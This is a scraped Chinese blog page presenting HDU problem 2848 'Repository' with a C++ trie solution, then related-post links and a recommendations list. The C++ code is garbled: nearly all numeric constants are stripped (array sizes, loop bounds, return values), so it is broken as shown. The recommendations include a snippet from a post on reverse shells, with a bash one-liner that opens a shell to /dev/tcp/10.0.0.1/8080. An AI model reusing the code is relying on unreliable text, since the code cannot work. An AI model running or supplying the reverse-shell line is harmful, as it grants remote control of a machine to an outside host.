hdu----(2848)Repository(trie树变形)
Repository
Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 65536/65536 K (Java/Others)
Total Submission(s): 2538 Accepted Submission(s): 990
you go shopping, you can search in repository for avalible merchandises
by the computers and internet. First you give the search system a name
about something, then the system responds with the results. Now you are
given a lot merchandise names in repository and some queries, and
required to simulate the process.
is only one case. First there is an integer P
(1<=P<=10000)representing the number of the merchanidse names in
the repository. The next P lines each contain a string (it's length
isn't beyond 20,and all the letters are lowercase).Then there is an
integer Q(1<=Q<=100000) representing the number of the queries.
The next Q lines each contains a string(the same limitation as foregoing
descriptions) as the searching condition.
ad
ae
af
ag
ah
ai
aj
ak
al
ads
add
ade
adf
adg
adh
adi
adj
adk
adl
aes
5
b
a
d
ad
s
20
11
11
2
//#define LOCAL
#include<cstdio>
#include<cstring>
typedef struct node
{
struct node *child[];
int cnt; //作为统计
int id;
}Trie; void Insert(char *s,Trie *root,int id)
{
int pos,i;
Trie *cur=root,*curnew;
for(;*s!='\0';s++)
{
pos=*s-'a';
if(cur->child[pos]==NULL)
{
curnew = new Trie;
for( i=; i<;i++)
curnew->child[i]=NULL;
curnew->cnt=;
curnew->id=;
cur->child[pos]=curnew;
}
cur=cur->child[pos];
if(cur->id!=id) //避免同一个单词重复计算子串
{
cur->cnt++;
cur->id=id;
}
}
} int query(char *s, Trie *root)
{
int pos;
Trie *cur=root;
while(*s!='\0')
{
pos=*s-'a';
if(cur->child[pos]==NULL)
return ;
cur=cur->child[pos];
s++;
}
return cur->cnt;
}
void del(Trie *root)
{
Trie *cur=root;
for(int i=;i<;i++)
{
if(cur->child[i]!=NULL)
del(cur->child[i]);
}
delete cur;
return ;
}
char str[];
int main()
{
#ifdef LOCAL
freopen("test.in","r",stdin);
#endif
int n,m,i;
scanf("%d",&n);
Trie *root=new Trie;
for( i=;i<;i++)
root->child[i]=NULL;
root->cnt=;
while(n--)
{
scanf("%s",str);
for(i= ; str[i]!='\0' ;i++)
Insert(str+i,root,n+);
}
scanf("%d",&m);
while(m--)
{
scanf("%s",str);
printf("%d\n",query(str,root));
}
del(root);
return ;
}
hdu----(2848)Repository(trie树变形)的更多相关文章
- HDU 2846 Repository (字典树 后缀建树)
Repository Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 65536/65536 K (Java/Others) Total ...
- hdu 4622 Reincarnation trie树+树状数组/dp
题意:给你一个字符串和m个询问,问你l,r这个区间内出现过多少字串. 连接:http://acm.hdu.edu.cn/showproblem.php?pid=4622 网上也有用后缀数组搞得. 思路 ...
- HDU 2846 Repository(字典树,标记)
题目 字典树,注意初始化的位置~!!位置放错,永远也到不了终点了org.... 我是用数组模拟的字典树,这就要注意内存开多少了,,要开的不大不小刚刚好真的不容易啊.... 我用了val来标记是否是同一 ...
- hdu 2846 Repository (字典树)
RepositoryTime Limit: 2000/1000 MS (Java/Others) Memory Limit: 65536/65536 K (Java/Others)Total S ...
- HDU 2846 Repository(字典树,每个子串建树,*s的使用)
Repository Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 65536/65536 K (Java/Others)Total ...
- HDU 1251 Trie树模板题
1.HDU 1251 统计难题 Trie树模板题,或者map 2.总结:用C++过了,G++就爆内存.. 题意:查找给定前缀的单词数量. #include<iostream> #incl ...
- HDU 5269 ZYB loves Xor I Trie树
题目链接: hdu:http://acm.hdu.edu.cn/showproblem.php?pid=5269 bc:http://bestcoder.hdu.edu.cn/contests/con ...
- hdu 5269 trie树
现场想到了lowbit(X xor Y)=X和Y从右向左数,对应相同的数的个数+1...然而并没有想到接下来用trie树 然后就想排个序试试...然后就整个人都不好了啊摔 sol:用trie,一边in ...
- hdu 4099 Revenge of Fibonacci Trie树与模拟数位加法
Revenge of Fibonacci 题意:给定fibonacci数列的前100000项的前n位(n<=40);问你这是fibonacci数列第几项的前缀?如若不在前100000项范围内,输 ...
随机推荐
- 如何使用NUnit
http://www.c-sharpcorner.com/UploadFile/84c85b/nunit-with-C-Sharp/ 从github上下载安装包 NUnit.3.4.1.msi htt ...
- TI公司Tina-ti和FilterProDesktop下载地址
http://www.ti.com/tool/tina-ti http://focus.ti.com/en/download/aap/DesignEnv/FilterPro-DT/FilterProD ...
- 反弹shell的十种姿势
bash版本: bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 ,注意某些linux不支持 perl版本: perl -e 'use Sock ...
- 随机步法A-Z
程序是生成一个10X10的字符数组,初始化时全为 ‘.’ 的随机步法.程序必须随机的从一个元素 ‘走到’ 另一个元素,每次只向上.向下.向左或向右移动一个元素位置.已访问过的元素按访问顺序用字母A到 ...
- HDU 1005 Number Sequence(数列)
HDU 1005 Number Sequence(数列) Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 65536/32768 K (Jav ...
- eclipse 技巧
1. eclipse中xml中提示需有xsd文档 如在线eclipse将自动网络获取.xsd 否则 手动本地添加(在xml catalog参数设置选项) 2.当明确实现功能时,可将已有方法抽取成接口, ...
- JavaScript的严格模式
js除了在普通的常规模式,ECMAscript 5添加了第二种运行模式:"严格模式"(strict mode).严格模式支持IE9+ Chrome FireFox 等主流浏览器. ...
- poj2208Pyramids(四面体面积--公式)
链接 一公式题.. 证明讲解参照http://www.cnblogs.com/dgsrz/articles/2590309.html 注意对棱 顺序 #include <iostream> ...
- js打印出对象的方法
var description = ""; for (var i in order) { var property = order[i]; description += i + & ...
- (二)ubuntu学习前传—uboot常见命令
1.uboot命令类似于linux行缓冲命令行,当我们向终端命令行输入命令的时候,这些命令没有立即被系统识别,而是被缓冲到一个缓存区(也就是系统认为我换没有输入完),当我们按下回车键(换行)后,系统就 ...